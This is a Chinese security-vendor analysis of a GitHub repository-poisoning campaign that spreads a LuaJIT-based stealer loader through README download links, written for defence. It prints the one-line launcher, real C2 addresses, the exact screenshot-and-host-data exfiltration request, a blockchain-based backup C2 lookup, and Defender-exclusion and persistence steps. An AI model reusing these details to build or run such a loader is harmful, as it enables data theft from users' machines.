-
-
[原创]GitHub投毒暗流:上万恶意URL肆意扩散 警惕批量仓库投毒
-
发表于: 1小时前 41
-
一、概述
自2025年起,火绒威胁情报中心持续监测到一类针对GitHub平台的批量投毒活动。攻击者通过克隆正规项目或批量创建仓库,将恶意zip包植入项目目录,并在README中注入下载链接,诱导用户下载执行。若后续窃密组件经C2下发并落地,可能进一步窃取浏览器凭据、聊天会话及加密货币钱包数据。截至2026年10月,相关恶意URL已超过5.6万条,涉及3万余个仓库、1.5万余个账号。下载后的载荷为“批处理+LuaJIT解释器+混淆Lua脚本”三件套。目前火绒安全产品已具备对该攻击链相关文件的检测与拦截能力。

二、攻击链路

三、统计画像
30,738个相关仓库中,29,496个仍可访问,涉及15,584个账号。恶意文件以zip形式埋入项目目录,44,673个压缩包路径中,70.9%位于一层子目录,29.0%位于两层或更深,存放于src/、image/等正常目录名下。

76.8%的含README仓库中直接出现压缩包文件名,常见手法包括多链接指向同一zip、模板化安装说明、整篇照搬正规项目文档而仅替换超链接。79.5%的压缩包命名采用仿真语义化版本号。诱饵主题以AI/大模型类为主(24.5%),其余为游戏外挂、流媒体工具、加密货币机器人等,另有60.3%为批量捏造的通用工具类假仓库。

压缩包内部结构恒定:一行start的批处理脚本+改名LuaJIT解释器+混淆Lua 文本文件,部分附带lua51.dll。跨账号仓库中观测到文件校验值完全相同的复用。
14,490个有注册信息的账号中,2024年及以前注册的为7,507个(51.8%),2025–2026年注册的为6,983个(48.2%)。新号注册日期高度集中(2026年4月9日498个、4月22日497个等)。老号中部分具有多年真实开发历史,在被盗取账户后出现网页端Update README.md提交,注入压缩包链接。

73.3%的账号公开仓库数不超过2且粉丝数不超过1;54.4% 的仓库在最近35条提交中含外部提交者,说明多数仓库基于克隆创建。

30,237个有提交记录的仓库按最近提交时间分月统计:2026年2月为10,459个(34.6%);2026年10月为13,759个(45.5%),其中10月12–14日三天内为13,335个。

30,237 个有提交记录的仓库中,91.3% 的最近一次提交为Update README.md 或主页文件修改。压缩包埋入与主页激活呈两波集中放量:2026 年 2 月以埋包为主,2026 年 10 月以改 README 激活为主。10 月 12–14 日集中改动的 13,335 个仓库中,52.1% 为首次挂上压缩包链接,31.8% 为更换备用压缩包路径。
四、样本分析
以仓库rexnzm/MCP-rag-with-Chromadb为例,可以直观看到这条攻击链的真实面目。该仓库主页伪装成一个普通的AI工具。

但查看其提交历史可发现,2025年底至2026年10月期间,账号rexnzm连续提交了多条Update README.md记录。README中的所有超链接实际上均指向同一个托管于githubusercontent.com的恶意zip压缩包。

该压缩包解压后得到三个文件:一个批处理启动器、一个LuaJIT解释器以及一个约300 KB的文本文件,恶意逻辑全部位于文本文件中。

Launcher.cmd的全部内容只有一行:
start luajit.exe uix.txt
双击之后,start启动luajit.exe,并将uix.txt作为脚本路径传入,随后进入LuaJIT解释器的标准流程:main → pmain → luaL_loadfile载入脚本 → lua_pcall。

uix.txt的内容

还原出的流程为:

执行后,依次通过GetComputerNameW、GetUserNameW、GetTempPathW获取机器名、用户名和临时目录;调用BrandingFormatString("%WINDOWS_LONG%")获取完整系统名称;读取注册表 HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid作为硬件唯一标识。
随后通过InternetOpenUrlW请求860K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4c8f1k6Q4b7V1y4Q4z5p5y4Q4c8e0g2Q4b7U0W2Q4b7U0k6Q4c8e0S2Q4b7f1g2Q4b7V1k6Q4c8e0W2Q4z5e0N6Q4b7f1g2A6M7q4)9J5k6r3q4H3K9g2)9J5k6h3y4G2L8g2)9J5c8X3A6K6L8$3&6Q4x3V1k6Q4c8e0S2Q4z5p5g2Q4b7U0N6Q4c8e0g2Q4z5p5k6Q4z5e0k6Q4c8e0g2Q4z5f1y4Q4b7U0m8Q4c8e0N6Q4z5e0m8Q4z5o6k6Q4c8e0c8Q4b7V1c8Q4z5p5c8Q4c8e0N6Q4b7V1c8Q4b7f1g2Q4c8e0y4Q4z5o6m8Q4z5o6t1`.
通过标准GDI流程截屏:取虚拟屏幕尺寸(SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN),CreateDIBSection建24位DIB,BitBlt拷贝全屏,输出标准BMP。截图作为multipart请求的file段上传。

上线请求发往213.176.73.151:80,路径为/api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y=。Base64解码后得517b7c5e5663656a057f,为构建常量。
请求体为multipart/form-data,含两段:file段(application/octet-stream,文件名为100位随机小写字母数字串,内容为BMP截图);data 段(application/json,内容为{"data":"<base64>"})。boundary为固定39字符字符串 a1u4xbodohy2cqdc2n0i336qy9tcap8w64yb424,属构建常量。
POST /api/NTE3YjdjNWU1NjYzNjU2YTA1N2Y= HTTP/1.1
Content-Type: multipart/form-data; boundary= a1u4xbodohy2cqdc2n0i336qy9tcap8w64yb424
--a1u4xbodohy2cqdc2n0i336qy9tcap8w64yb424
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="<48 位随机小写字母+数字>"
<BMP 截图>
--a1u4xbodohy2cqdc2n0i336qy9tcap8w64yb424
Content-Type: application/json
Content-Disposition: form-data; name="data"
{"data": "<base64>"}beacon 明文是一段键值串,字段顺序固定:
loaderId=830&guid=<MachineGuid>&computer=<主机名>&user=<用户名> &query=<出口IP>&country=<国家代码>&city=<城市>&timezone=<时区>&os=<系统长名> x64
服务器返回标准 JSON。客户端不做 JSON 解析,而是把响应体中的 "key": 经正则替换成 ["key"]=,前缀拼 return,整体交给 load() 当代码执行;loader 字段按阶段三逆序解出明文后,再对明文重复一次同样的转换与 load。

配置共七个字段,逐项置位后的行为:
字段 | 行为 |
bypass_defender | 以WinExec隐藏执行一条PowerShell命令,申请管理员权限后把整个系统盘与.exe/.dll加入Defender排除列表 |
autorun | 写HKCU\...\CurrentVersion\Run值luajit(REG_SZ,数据为 "<exe路径>" "<脚本路径>");同时写 HKCU\...\Explorer\StartupApproved\Run同名二进制值;然后 WinExec调schtasks建每日任务 |
relaunch | 进入常驻循环;置time=2后14秒内完成 7次完整上线,每次含一次连通性探测与一次POST |
tablet | 输出错误信息 |
hide | 对脚本文件uix.txt调用 SetFileAttributesW,设置隐藏与系统属性 |
persistence | 取%LOCALAPPDATA%,对ODM5下 ODM5.exe、uix.txt各执行一次 PathFileExistsW; |
tasks | 被读取并重新序列化写入本地缓存 |
样本内置Polygon主网eth_call回退逻辑,请求体为:
{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{"to":"0x1823A9a0Ec8e0C25dD957D0841e3D41a4474bAdc","data":"0x3bc5de30"},"latest"]}轮询五个公共RPC(polygon.drpc.org、polygon.publicnode.com 等),任一成功即止。返回数据按ABI解码得到21字节,转换为ASCII即为备用C2地址。
{"id":1,"jsonrpc":"2.0","result":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000015687474703a2f2f3134342e33312e3130382e3139330000000000000000000000"}五、火绒安全建议
综上所述,GitHub已经成为这类供应链诱饵攻击的高频阵地,攻击者伪装成热门AI工具、游戏插件等项目,利用用户对开源仓库的信任,用隐蔽的方式投递窃密载荷。这类威胁隐蔽性强,一旦执行,可完成信息搜集、截屏回传,后续还可能下发窃密组件,威胁账号、钱包与隐私数据安全。开源不等于安全,不要默认仓库可信。下载开源项目时仔细核验链接与提交记录,不随意运行陌生压缩包内脚本,守住开源下载这道防线。
针对此类攻击,建议用户采取以下防护措施:
1. 从GitHub等平台下载项目时,注意核查README中超链接的实际指向地址,警惕多个不同文本链接到同一文件的情况。
2. 避免直接执行来源不明的压缩包内批处理脚本,尤其是内容仅为一行start命令的.cmd文件。
3. 查看仓库提交历史,若发现短时间内连续出现Update README.md且无实质性代码变更,应保持警惕。
4. 使用AI Agent或自动化工具拉取、执行仓库脚本时,建议配置沙箱隔离或增加人工确认环节,避免自动下载执行未知载荷。
5. 如已下载并执行过可疑文件,建议立即使用安全软件全盘扫描,并排查注册表启动项与计划任务中是否存在异常条目。
六、IOC


七、附录


冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。